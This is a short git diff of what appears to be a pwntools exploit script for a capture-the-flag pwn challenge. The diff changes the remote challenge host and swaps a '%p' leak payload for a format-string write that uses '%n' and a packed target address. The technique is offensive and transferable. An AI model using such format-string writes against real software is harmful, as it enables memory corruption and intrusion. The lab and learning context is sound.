dingdong

cscg25/pwn/intro2/exploit.py

@@ -9,7 +9,7 @@ LOCAL = True # Change to False if connecting remotely
 if LOCAL:
     p = process(context.binary.path)
 else:
-    p = remote("39d9389ef3a77235a475377e-1024-intro-pwn-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
+    p = remote("75143f5062f22bfeb9302387-1024-intro-pwn-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
 def send_payload(payload):
     p.sendline(payload)
 
@@ -21,11 +21,22 @@ def interact():
 
 bug_addr = 0x40406c
 
+
 # Example interaction
 recv_until(b'What is your name?')
-payload = b"%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n"
+
+format_string = b""
+format_string += b"%0.0s" * 5 
+format_string += b"%0.0s" * 10
+format_string += b"%n"
+format_string += b"\n" * (8 - (len(format_string) % 8))
+print(len(format_string) / 8)
+format_string += p64(bug_addr)
+
+print(format_string)
+
 print("enter if gdb attached")
 input()
-send_payload(payload)
+send_payload(format_string)
 
 interact()  # Keep the shell open